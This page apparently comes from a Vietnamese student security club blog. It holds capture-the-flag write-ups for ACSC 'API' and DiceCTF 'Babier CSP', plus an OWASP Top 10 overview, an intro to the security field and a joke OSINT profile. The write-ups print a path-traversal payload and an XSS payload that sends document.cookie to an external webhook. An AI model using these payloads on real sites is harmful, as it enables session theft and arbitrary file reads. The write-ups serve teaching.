ACSC 2021 | Web Writeup | API

 

API

Thử thách:

Kiến thức nền:

  • Broken Access Control.

Giải quyết vấn đề:

1/ Thăm dò:

Như mọi dạng bài cho source code từ trước, việc đầu tiên chúng ta cần làm là tôn trọng tác giả, mở source code ra đọc và deploy nó lên. Vào trong root folder public rồi deploy trên locahost bằng lệnh php -S localhost:<any port number>. Tạm thời chưa quan tâm đến các file config như 000-default.conf, docker-compose.yml hay Dockerfile, chúng ta sẽ sử dụng sau. Nhìn sơ qua thì chúng ta có một cái web app chỉ có 3 chức năng thế này:

  • Sign in:

image

  • Sign up:

image

  • Trang admin (không hiểu sao không cần sign in cũng vào được, nhưng mà nhìn chung nó cũng vô dụng):

image

Thử tạo một account tại signup.html rồi đăng nhập vào thử:

image

2/ Nghiên cứu source code:

Bài này nhìn chung là khá dễ, nếu thậm chí nếu bạn đọc code và suy nghĩ theo cách đơn giản thì sẽ ra flag cực kì nhanh. Nhưng tôi và thằng teammate baolongv3 đã chọn cách khó hơn, đó là ăn hết tất cả cú lừa của bài này.

Cú lừa đầu tiên, không biết là vô tình hay cố ý mà tác giả lại để lộ 2 cái file "mới nhìn tưởng là quan trọng và là chìa khóa để tìm ra flag" này:

  • user.db: file chứa toàn bộ thông tin account của tất cả các user trên web app này, mỗi field thông tin khác nhau được ngăn cách bởi dấu | (theo tôi dự đoán thì nó theo format sau: username|hash của password|user level (admin sẽ được gán bằng 1, normal user được gán bằng 0)). Khi refresh trang thì ta thấy file được append thêm một số account mới. Tất cả các account này đều có user level bằng 0. Chỉ duy nhất account có username tên Pang (trong hình) có user level bằng 1.

image

Nhìn vào hàm main, ta thấy file user.db vốn không có sẵn trong folder db. Nó được khởi tạo bằng cách gọi hàm gen_user_db:

function gen_user_db($acc){
    $path = dirname(__FILE__).DIRECTORY_SEPARATOR;
    $path .= "db".DIRECTORY_SEPARATOR;
    $path .= "user.db";
    if (file_exists($path)) return false;
    else {
        global $admin;
        $u = new User($acc);
        $fmt = sprintf("%s|%s|%d,", $admin['id'], $u->gen_hash($admin['pw']), $admin['level']);
        file_put_contents($path, $fmt);
    }
}

Nếu file user.db chưa được tạo, nó sẽ được tạo mới bởi hàm file_put_contents, đồng thời hàm này sẽ ghi vào file user.db mới được tạo account của admin thông qua biến $fmt, biến này lại lấy các field id, pw và level từ global array $admin được gọi từ file config.php:

<?php
$admin = ['id' => "*secret*", 'pw' => "*secret*", 'level' => 1];
?>

Vậy là đúng như dự đoán, admin được gán level bằng 1, như vậy account có id là "Pang" chắc chắn là admin, và ta cần lấy được password của user này bằng cách dehash cái này: c307cae832059f15e52cc5e6a26a2eb3ae7173e6. Password được hash bằng hàm ripemd160:

public function gen_hash($val){
    return hash("ripemd160", $val);
}

Nhưng có vẻ đây là một challenge dùng não 100%, đừng phí thời gian chạy hashcat hàng tiếng đồng hồ để tìm password như tôi nhé, nó không ra cái gì đâu @@

  • passcode.db: chứa một string có độ dài 5 kí tự, nếu chỉ nhìn mà không đọc code kĩ thì sẽ rất dễ nhầm đây là salt mà tác giả ném vào hàm hash ripemd160 để băm password của các user. Nếu deploy đoạn code này (lấy từ hàm gen_pass_db) thì bạn sẽ đấy string này random từ biến $rand_str sau mỗi lần refresh trang:
$rand_str = "`~1234567890-=!@#$%^&*()_+qwertyuiopT[]\\";
$rand_str .= "asdfghjkl;':\"zxcvbnm./<>?QWERASDFZCVBNM";
$res = '';
for($i = 0; $i < $len; $i++){
    $res .= $rand_str[rand(0, strlen($rand_str)) - 1];
}
echo $res;

Nhưng trên url thì dù refresh lại bao nhiêu lần nó cũng ra ":<vNk". Lí do là vì file passcode.db cũng hoạt động giống file user.db, nếu file đã được tạo rồi thì hàm sẽ kết thúc và không đụng gì file nữa:

if (file_exists($path)) return false;

image

=> Xem xong file này tôi có 2 thắc mắc:

- Hai hàm gen_user_db và gen_pass_db đều hoạt động giống y hệt nhau, tại sao refresh trang user.db thì thấy các account mới được append vào còn passcode.db thì vẫn giữ nguyên như vậy? Chứng tỏ có một hàm nào đó khác nữa đã làm công việc append này, và nó chính là hàm signup (check file/2021/web/source/public/lib/User.class.php)):

public function signup(){
    if (!preg_match("/^[A-Z][0-9a-z]{3,15}$/", $this->acc[0])) return false;
    if (!preg_match("/^[A-Z][0-9A-Za-z]{8,15}$/", $this->acc[1])) return false;
    $data = $this->load_db();
    for($i = 0; $i < count($data); $i++){
        if ($data[$i][0] == $this->acc[0]) return false;
    }
    file_put_contents($this->db['path'], $this->db['fmt'], FILE_APPEND);  // $this->db['path'] == 'public/lib/db/user.db' và $this->db['fmt'] = sprintf("%s|%s|%d,", $this->acc[0], $this->gen_hash($this->acc[1]), 0) 
    return true;
}

- Nếu ":<vNk" trong file passcode.db không phải là salt của hàm hash ripedm160, vậy nó được tạo ra để làm gì? Nhìn vào hàm is_pass_correct trong file Admin.class.php/2021/web/source/public/lib/Admin.class.php), ta thấy $passcode lấy data từ file passcode.db thông qua hàm get_pass, $input lấy data từ value của parameter pas được lưu trên superglobal REQUEST, sau đó nếu 2 biến này bằng nhau thì return true:

public function is_pass_correct(){
    $passcode = $this->get_pass();  // $passcode == ':<vNk'
    $input = $_REQUEST['pas'];
    if ($input == $passcode) return true;
}

3/ Khai thác:

  • Nói thêm một chút về các parameter nằm trong superglobal REQUEST của bài này, tất cả đều được gửi từ form signin thông qua hàm signin nằm trong file client.js/2021/web/source/public/static/js/client.js). Nếu theo luồng hoạt động của hàm này thì chỉ có 3 parameter được gửi vào REQUEST là id, pw và c (1). Như vậy, để hàm is_pass_correct có thể return true, ta phải tự chèn thêm parameter pas=:<vNk vào sau khi sign in (2).
  • Như đã thấy ở phần thăm dò, dù có tạo được account thì chúng ta cũng không thể vào được bên trong, web app chỉ alert rằng "Only admin can access the page". Bắt thử một request rồi send qua repeater của Burp Suite thì ta được:

image

  • Response cho biết rằng trang web đang bị chuyển hướng đến /api.php?#access denied do đoạn code javascript location.href = '/api.php?#access denied';. Vậy đoạn code javascript này từ đâu ra. Check hàm main rồi mò lại hàm challenge, ta có:
$admin = new Admin();
if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
$cmd = $_REQUEST['c2'];
if ($cmd) {
    switch($cmd){
        case "gu":
            echo json_encode($admin->export_users());
            break;
        case "gd":
            echo json_encode($admin->export_db($_REQUEST['db']));
            break;
        case "gp":
            echo json_encode($admin->get_pass());
            break;
        case "cf":
            echo json_encode($admin->compare_flag($_REQUEST['flag']));
            break;
    }
}
  • Đọc lướt qua thì ta sẽ thấy đây là một đoạn code authorize rất bình thường, khi account không phải admin thì sẽ trả về response như đã thấy trên Burp Suite. Nhưng nhìn kĩ lại một chút thì chúng ta phát hiện một sai lầm cực kì tai hại của người viết đoạn code này, đó chính là dùng if (!$admin->is_admin()) cho câu lệnh $admin->redirect('/api.php?#access denied'); nhưng lại quên đặt các khối lệnh phía sau vào else. Điều này đồng nghĩa rằng kể cả account của bạn không phải là admin, đăng nhập vào bị alert ra lỗi, nhưng vẫn có thể thực thi toàn bộ các lệnh ở phía sau if. Vấn đề bây giờ chỉ là chọn value nào để inject vào parameter c2 trong các value gu, gd, gp và cf. Nếu chọn gd thì ta sẽ gọi được hàm export_db, hàm này lại lấy data từ paramter db. Cùng xem hàm này hoạt động như thế nào:
public function export_db($file){
    if ($this->is_pass_correct()) {
        $path = dirname(__FILE__).DIRECTORY_SEPARATOR;
        $path .= "db".DIRECTORY_SEPARATOR;
        $path .= $file;
        $data = file_get_contents($path);
        $data = explode(',', $data);
        $arr = [];
        for($i = 0; $i < count($data); $i++){
            $arr[] = explode('|', $data[$i]);
        }
        return $arr;
    }else 
        return "The passcode does not equal with your input.";
}
  • Để hàm này có thể chạy được ta cần phải chèn vào request pas=:<vNk như đã giải thích ở cuối phần Nghiên cứu source code. Trong luồng hoạt động của hàm này chúng ta chỉ cần để ý duy nhất lệnh $data = file_get_contents($path); là có thể kết luận sử dụng hàm này ta có thể đọc được nội dung của một file bất kì trong hệ thống, trong đó có file flag. Sau khi mò được đường dẫn của flag thì ta đã có flag trong tay:

image

  • Payload: id=Baictfkhoqua&pw=Aa1234567&c=i&pas=:<vNk&c2=gd&db=../../../../../../../flag
  • Flag: ACSC{it_is_hard_to_name_a_flag..isn't_it?}
spacer

Bí kíp 300 bài hack web thiếu nhi

Không có mô tả.

Internet ngày nay đã trở thành một phần không thể thiếu trong cuộc sống của mỗi chúng ta. Cùng với sự phát triển của internet, các website cũng ngày càng phức tạp hơn so với những phiên bản đầu tiên của nó vào những năm 1990. Website bao gồm 2 phần chính, là front-end (bộ mặt của website) và back-end(bộ não của website). Back-end là khu vực xử lý các thao tác với database (cơ sở dữ liệu), trả lại các giá trị dựa trên những request (yêu cầu) mà client (người dùng) gửi lên server. Vì back-end là nơi lưu trữ các dữ liệu quan trọng của người dùng một trang web như tài khoản, mật khẩu, thông tin cá nhân,... nó trở thành mục tiêu tấn công của các hacker, nhằm vào các thông tin nhạy cảm. Việc xây dựng một trang web cũng vô cùng phức tạp, nên các lỗ hổng bảo mật (vulnerability) xuất hiện là điều không thể tránh khỏi, dẫn tới sự xuất hiện của lĩnh vực “Web Exploitation” (khai thác ứng dụng web). Với tư cách là một sinh viên đang ngồi trên ghế nhà mình, học online tại FPTU, mình xin chia sẻ một vài hiểu biết của bản thân về một lĩnh vực rộng lớn và vô cùng quan trọng trong ngành bảo mật. Năm 2017, OWASP đã công bố 10 lỗ hổng nghiên trọng, phổ biến trên website như sau:

· Injection: Hậu quả của việc server nhận dữ liệu không được kiểm chứng và được biên dịch dưới dạng các câu lệnh hoặc các query (truy vấn trong cơ sở dữ liệu). Tiêu biểu phải kể đến SQL Injection, lỗi xuất hiện trên hệ cơ sở dữ liệu SQL. Lỗi này có thể giúp hacker xem, xóa, sửa, các thông tin trên hệ cơ sở dữ liệu. Bên cạnh đó chúng ta còn có LDAP injection và HTTP header injection. Tất cả các lỗ hổng trên đều dễ gặp phải ở những trang web của những lập trình viên mới vào nghề, còn ít kinh nghiệm (ngoại trừ trang web của tập đoàn B* nào đó 🐧 )

· Cross-Site Scripting XSS: Xảy ra khi hacker chèn mã độc (thường viết bằng ngôn ngữ JavaScript) thông qua các đoạn script để thực thi ở phía client. Thông thường, một đoạn mã độc được ngụy trang dưới dạng dữ liệu xuất nhập thông thường sẽ được gửi lên server. Nếu không có các bộ lọc dữ liệu độc hại, mã độc sẽ được chèn vào mã nguồn của ứng dụng web (ta thường gọi trang web đó đã bị XSS) và bất cứ lúc nào người dùng bình thường truy cập website, các mã độc đó sẽ thực thi ngay trên trình duyệt của người dùng.

· Broken Authentication: Ứng dụng web có thể cài đặt phần đăng nhập không chính xác, khiến cho hacker có thể chạy các trình brute-force nhằm tìm được chính xác tài khoản và mật khẩu của người dùng, dẫn tới việc chiếm tạm thời hoặc hoàn toàn tài khoản đó.

· Sensitive Data Exposure: Rất nhiều trang web và các API thường không bảo vệ các dữ liệu nhạy cảm của người dùng như thông tin tài chính, sức khỏe,... một cách hợp lý. Ví dụ, mật khẩu, tài khoản được mã hóa sơ sài trong cookies. Điều này dẫn tới các dữ liệu ấy có thể bị lấy được trong quá trình truyền dữ liệu từ client tới server.

· Broken Access Control: Lỗi này xảy ra khi có lỗ hổng trong việc hạn chế người dùng bình thường truy cập vào các vùng bị hạn chế. Kẻ tấn công có thể tìm thấy các lỗi này và truy cập vào các vùng bị cấm, chỉnh sửa thông tin người dùng, thay đổi quyền của admin, đánh cắp thông tin của toàn bộ hệ thống....

· XML External Entities (XXE)): Nói đơn giản, lỗ hổng này nhằm tới file XML (một loại ngôn ngữ đánh dấu) trên các ứng dụng web. Các file XML quá cũ hoặc được cài đặt kém sẽ là đối tượng tấn công, vì đã để lộ các thông tin như port, shared file, ... Hacker sẽ khai thác các thông tin này để scan port, thực thi code từ xa, hoặc thậm chí là DoS và DDoS.

· Security Misconfiguration: Đây là lỗ hổng thường gặp nhất và là hậu quả của việc sử dụng các cài đặt mặc định, vốn không an toàn trước những cuộc tấn công. Lỗi có thể xảy ra ở các kho lưu trữ đám mây mở, việc đặt HTTP header sai, hoặc các thông báo lỗi rườm rà sẽ chứa các thông tin nhạy cảm. Vì vậy, các hệ thống không chỉ cần được cài đặt một cách an toàn, chúng còn cần được cập nhật liên tục.

· Insecure Deserialization: Lỗ hổng này có thể dẫn tới việc thực thi các mã ở máy khách hàng. Dù việc này không dẫn tới việc thực thi mã độc từ xa, nó cũng có thể được dùng để tạo ra các cuộc tấn công, bao gồm tấn công lặp lại, tấn công kiểu injection, và tấn công leo thang đặc quyền.

· Using Components with Known Vulnerabilities: Xây dựng 1 website cần rất nhiều thành phần, bao gồm thư viện, framework, các module phần mềm, và chúng sẽ chạy với quyền tương tự như quyền của ứng dụng web đấy. Nếu một trong các thành phần đang chạy bị hack, hacker có thể lợi dụng quyền của nó để xâm nhập vào hệ thống.

· Insufficient Logging & Monitoring: Như tên gọi của lỗi này, ghi nhật ký và giám sát không đầy đủ, việc khai thác có thể gây nên các sự cố rất lớn. Kẻ tấn công dựa vào việc thiếu giám sát và phản ứng kịp thời để đạt được mục tiêu của chúng mà không bị phát hiện.

Nói chung, các lỗ hổng này thường được chia thành 3 mức độ nguy hiểm. Mức đầu tiên là các lỗ hổng gây ảnh hưởng tới 3 thuộc tính của dịch vụ là: Tính bảo mật, tính toàn vẹn và tính sẵn sàng. Nguy hiểm hơn là các lỗ hổng có thể gây nên việc thực thi mã từ xa. Và nguy hiểm nhất, chính là lỗ hổng gây nên các cuộc tấn công leo thang đặc quyền. Khi hacker thành công trong việc leo thang đặc quyền, hacker sẽ trở thành bố của hệ thống, có thể tùy ý tung hoành ngang dọc trong hệ thống mà không bị ai chặn lại, thậm chí có thể xóa luôn cả hệ thống ấy. Vì vậy, bên cạnh việc xây dựng giao diện thật đẹp, cũng như các tính năng hữu ích, việc bảo vệ hệ thống và tìm kiếm, nghiên cứu các lỗ hổng ứng dụng web mới luôn được đặt lên hàng đầu để tránh các hậu quả nặng nề.

Hãy theo dõi page của EHC để nhận thêm các thông tin, các tip hữu ích về an toàn thông tin trên mạng các bạn nhé !!!

spacer

An toàn thông tin (Information Assurance) 101

​ Trong một thời đại mà mọi quy trình nhàm chán đều có thể tự động hóa bằng những dòng code, số lỗ hổng bảo mật được phát hiện từ đó cũng tăng lên theo cấp số nhân, bởi lẽ không có một hệ thống, không có một sản phẩm được viết ra bằng code nào lại đảm bảo được sự an toàn tuyệt đối cả. Ngành An Toàn Thông Tin cũng vì đó mà trở thành một ngành cực kì rộng lớn với rất nhiều lĩnh vực. Với tư cách là một sinh viên vẫn đang còn ngồi trên ghế FPTU, mình chỉ xin chia sẻ về ngành IA trong giới hạn giảng dạy hiện nay của ngôi trường ba chữ. Nếu xét trên khía cạnh nghiên cứu hàn lâm, học thuật thì có thể chia ngành này thành 6 mảng. Các môn học được giảng dạy ở ngành IA tại FU cũng bám theo 6 mảng cốt lõi này:

  • Web Application Exploitation (Khai thác ứng dụng web), ứng với các môn IAW (Web Security) và HOD (Ethical Hacking and Offensive Security).

  • Reverse Engineering (Dịch ngược), ứng với môn IAM.

  • Binary Exploitation (Khai thác lỗi phần mềm), đây là một mảng khó, vẫn chưa được đưa vào giảng dạy.

  • Cryptography (Mật mã học), ứng với môn CRY.

  • Forensics (Điều tra chứng cứ số), ứng với môn FRS.

  • Networking Security (An toàn mạng), ứng với môn NWC.

    Trong series “An toàn thông tin 101” này, chúng tôi – FPTU Ethical Hackers Club sẽ cùng các bạn khai phá những vùng đất vô cùng mới lạ kể trên của ngành IA. Trước hết, hãy đảm bảo rằng các bạn đã chuẩn bị đầy đủ hành trang sau đây:

  • Một tâm hồn đẹp: khiêm tốn, đam mê khám phá, kiên trì, đó là 3 phẩm chất quan trọng để trở thành một “ethical hacker”. Đủ khiêm tốn để luôn luôn cảm thấy kiến thức của mình còn nhiều thiếu sót và không ngừng học hỏi. Đủ đam mê khám phá để luôn luôn cảm thấy tò mò khi nhìn thấy một dòng code, một tính năng của trang web, phần mềm. Và đủ kiên trì để ngồi hàng tiếng đồng hồ, hàng tuần và thậm chí là hàng tháng trời để đào sâu vào dòng code, vào tính năng đó cho đến khi tìm được lỗ hổng mới thôi.

  • Một vài kiến thức nền: lỗ hổng bảo mật không phải tự nhiên rơi từ trên trời xuống. Bạn phải có sự am hiểu nhất định về cơ chế hoạt động của đối tượng mà bạn đang tấn công. Sẽ dễ dàng và nhanh chóng hơn trong quá trình tìm hiểu nếu bạn đã có sẵn những kiến thức nền sau:

+ Lập trình: hãy bắt đầu từ những ngôn ngữ lập trình “học đường” như C, C++ hay Java để hiểu rõ những khái niệm cơ bản trong lập trình như biến, hàm, Structured Programming hay OOP, sau đó khi nhảy sang học các ngôn ngữ khác bạn sẽ cảm thấy rất dễ dàng. Một số môn học lập trình của ngành IA tại FPTU mà bạn cần lưu ý: PRF, PRO, PRP.

+ Hệ điều hành: học cách sử dụng những hệ điều hành mã nguồn mở như Linux cho phép bạn hiểu rõ hơn về bản chất và cấu trúc của hệ điều hành. Một số môn học về hệ điều hành của ngành IA tại FPTU mà bạn cần lưu ý: OSG, OSP

​ Ồ, bạn đã chuẩn bị hết mọi thứ rồi à? Vậy thì hãy nhấn like chiếc page này của bọn mình để bắt đầu hành trình đi tìm hiểu ngành An Toàn Thông Tin nào.

spacer

DiceCTF | Web Write-up | Babier CSP

BABIER CSP

Original Write-up

Thử thách:

Kiến thức nền:

  • Content Security Policy (CSP).
  • XSS (Cross-site scripting).
  • Webhook (Reverse API).

Giải quyết vấn đề:

1/ Initial reconnaissance:
Đề bài cho hai trang 1 là của client và 1 là của admin. Check thằng client trước xem sao: image

Bấm thử vào cái dòng "View Fruit" liên tục thì nó hiện ra tên các loại Fruit:v

image

CTRL + U rồi check source code xem:

<html>
<a href='#' id=elem>View Fruit</a>
<script nonce=g+ojjmb9xLfE+3j9PsP/Ig==>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>

Từ source code ta biết được trang web này sẽ random các loại Fruit bao gồm "apple", "orange", "pineapple", "pear" rồi hiển thị tên nó lên mỗi lần mình click vào dòng "View Fruit". Tên của các fruit này được truyền thông qua GET parameter "name". Thử inject một vài thứ gì đó vui vui xem nào.

image

Uầy!! Được luôn nè! Như vậy khả năng cao trang web này bị dính XSS rồi. Tiếp tục khai thác thôi.

2/ Bypassing CSP to exploiting XSS:

Vừa đúng lúc ngày hôm qua mới được học về XSS. Tuy nhiên khi check thử vài payload XSS mẫu như <script> alert(1) </script> (script hiện dòng cảnh báo có nội dung là "1" ở trên trang web ) thì không thấy gì cả. Check lại source code của trang web thì tôi phát hiện ra 1 điều đáng ngờ:

<script nonce='g+ojjmb9xLfE+3j9PsP/Ig=='> ... </script>

Đây là thẻ script chứa câu lệnh để random các loại fruit rồi print ra. Thẻ này có một thuộc tính mà tôi chưa bao gặp nonce='g+ojjmb9xLfE+3j9PsP/Ig=='. Thử research 1 chút thì tôi biết được "nonce" là một thuộc tính được quy định trong CSP (Content-Security-Policy). Chỉ cần paste url vào đây là chúng ta có thể đọc được toàn bộ CSP của trang web đó:

image

Từ CSP check được ta kết luận rằng tất cả các thẻ trong HTML Document đều không bị "ruled" bởi CSP (vì directive default-src được set giá trị là "none"), chỉ có duy nhất thẻ script là bị "ruled" (vì script-src được set giá trị là "nonce-g+ojjmb9xLfE+3j9PsP/Ig=="). Điều này có nghĩa là nếu muốn inject một thẻ script vào HTML Document của trang web này, ta phải kèm vào nó một thuộc tính nonce với giá trị là 'g+ojjmb9xLfE+3j9PsP/Ig=='. Download code javascript (NodeJS) "index.js" từ đề bài, tìm thấy dòng code set giá trị cho thuộc tính "nonce" này bằng phương thức randombytes:

const  NONCE = crypto.randomBytes(16).toString('base64');

Nhìn có vẻ như giá trị nonce này sẽ random liên tục và mỗi giá trị nonce sẽ chỉ xuất hiện 1 lần mỗi khi ta refresh lại trang (đúng theo quy tắc là thế). Nhưng bằng 1 cách magic nào đó, refresh cái trang này bao nhiêu lần nonce vẫn giữ nguyên giá trị là 'g+ojjmb9xLfE+3j9PsP/Ig=='??? Ngon quá, vậy là chỉ cần ốp nguyên cái thằng nonce này vào payload là xong hihi!

image

Đã xong phần XSS payload. Như vậy chúng ta hoàn toàn có thể tấn công vào trang web này thông qua lỗ hổng Reflected XSS (các bạn có thể tham khảo về các vuln XSS tại đây).

3/ Đánh cắp cookie từ trang admin:

Thông thường khi muốn đánh cắp cookie bằng XSS bạn cần host một server đóng vai trò là điểm cuối tiếp nhận request gửi đến từ trang của victim (do payload XSS đã làm thay đổi đường đi của ban đầu request, thay vì đến nơi cần đến, nó sẽ đến server do bạn host và bạn có thể tha hồ đọc nó!). Thật may mắn là tôi có tìm được một site khá tiện lợi mà đơn giản cho phép chúng ta tạo một webhook có tên là requestcatcher. Chỉ cần gõ vài phát là bạn có ngay một cái webhook:D

image

image

Bây giờ chỉ cần viết lại payload dựa theo CSP đã quy định của trang web:

</h1>  <!-- đóng thẻ h1 lại vì trong HTML có 1 thẻ <h1> (open) -->
<script  nonce='g+ojjmb9xLfE+3j9PsP/Ig=='>   <!-- mở thẻ script với giá trị nonce đã được quy định --> 
scrp_tag = document.createElement('script');  <!-- tạo đối tượng "thẻ script"mới tên là "scrp_tag" -->
scrp_tag.src = 'https://antoine.requestcatcher.com/? flag='.concat(JSON.stringify(document.cookie)); <!-- chỉnh attribute src của "scrp_tag" để request của admin bot được redirect đến webhook mà ta đã tạo và chứa trong đó tham số "flag" được gán bằng cookie của admin bot --> 
scrp_tag.nonce = 'g+ojjmb9xLfE+3j9PsP/Ig==' <!-- setup attribute nonce của "scrp_tag" cho phù hợp với CSP -->
contain_tag = document.querySelector("body"); <!-- tham chiếu đến thẻ body của HTML Document -->
contain_tag.appendChild(scrp_tag); <!-- thêm "scrp_tag" vào body của HTML Document để thực thi script -->
</script>
</h1>

Cuối cùng chúng nhúng cái payload này vào link babier-csp.dicec.tf (vì Admin chỉ evaluate một mình cái link này) bằng cách gán nó vào parameter name:

https://babier-csp.dicec.tf/?name=</h1><script nonce='g+ojjmb9xLfE+3j9PsP/Ig=='>scrp_tag = document.createElement('script'); scrp_tag.nonce = 'g+ojjmb9xLfE+3j9PsP/Ig=='; scrp_tag.src = 'https://antoine.requestcatcher.com/?xss='.concat(JSON.stringify(document.cookie)); contain_tag = document.querySelector("body"); contain_tag.appendChild(scrp_tag);</script></h1>

Well well well, hãy xem chúng ta có gì ở webhook https://antoine.requestcatcher.com/ sau khi submit cái link đó ở Admin Bot:

image

Kết quả trả về ở tham số "flag" là một tham số khác có tên là "secret". Cái tên này nghe khá là quen, hình như mình gặp đâu đó rồi...Hmmm, đây rồi, ngay trong souce code "index.js":

 const  SECRET = config.secret;
 // to be continued...
app.use('/' + SECRET, express.static(__dirname + "/secret"));

Hằng SECRET được gán bằng "config.secret", có khả năng "config.secret" là tham số "secret". Đáng chú ý nhất là hàm middleware express.static - một hàm chuyên dùng để đọc và xử lý các nội dung tĩnh như file HTML, ảnh... Có thể tạm hiểu rằng sử dụng đường dẫn với token 4b36b1b8e47f761263796b1defd80745 trong request mà ta bắt được sẽ dẫn tới file "secret" của server:

https://babier-csp.dicec.tf/4b36b1b8e47f761263796b1defd80745/

Truy cập URL này ta thu được:

image

Yolo!! CTRL + U rồi lấy flag thôi hehe:

dice{web_1s_a_stat3_0f_grac3_857720}
spacer

OSINTẾT Challenge #1 - About Hủ Tái

 Hải Tú


Hải Tú tên đầy đủ là Lê Quang Hải Tú (sinh năm 1997 tại Thành phố Hồ Chí Minh) là người mẫu ảnh được nhiều người biết đến, cố từng xuất hiện trong MV Chúng Ta Của Hiện Tại – Sơn Tùng M-TP.



Mục lục

1 Mục lục

2 Tiểu sử

3 Sự nghiệp

4 Đời tư

5 Chương trình tham gia

6 MV ca nhạc

7 Liên kết ngoài

8 Flag

Tiểu sử

Hải Tú mẫu lookbook nổi tiếng Sài Thành với gương mặt xinh xắn và cá tính, cô có nickname là Toutou.


Tú là gương mặt thường xuyên của các nhãn hàng thời trang nổi tiếng cho giới trẻ như Nosbyn, The Blue Tshirt, REN…


Sự nghiệp

Vào mùa hè năm 2012, Tú tình cờ nhận được lời mời làm mẫu ảnh cho một người bạn để tham gia cuộc thi X-gen của Kenh14


Năm 2015, Hải Tú trở thành cái tên quen thuộc với giới trẻ khi phủ sóng rộng rãi trên báo chí cũng như mạng xã hội.


Năm 2016, Hải Tú bất ngờ đi du học. Từ đó, thi thoảng mới thấy cô nàng xuất hiện trong các bộ hình, chủ yếu là để kỷ niệm hoặc nhân dịp về Việt Nam.


Hải Tú là nữ diễn viên độc quyền đầu tiên thuộc công ty giải trí do Sơn Tùng M-TP sáng lập.


Đời tư

Đầu năm 2021, Hải Tú bị gán biệt danh “trà xanh” do nghi vấn xen vào chuyện tình cảm lâu năm của Sơn Tùng MTP và Thiều Bảo Trâm.


Đây có thể cũng chưa phải là một scandal lớn mà là một vụ lùm xùm, vào tối ngày 20/1/2021, Thiều Bảo Trâm đã hủy theo dõi Sơn Tùng M-TP và một vài người bạn của cô đã bóng gió nói về “trà xanh”. Nhưng chỉ với thông tin này cũng đã làm những người yêu mến cặp đôi bị chấn động.


Chương trình tham gia

X-gen

MV ca nhạc

Chúng Ta Của Hiện Tại – Sơn Tùng M-TP

Flag

Các bạn đến được đây là các bạn đã rất vất vả và xuất sắc rồi, nhưng EHC{không_có_flag_đâu_c673a819c472c8235803ec8d7d43a6de} các bạn nhé.

spacer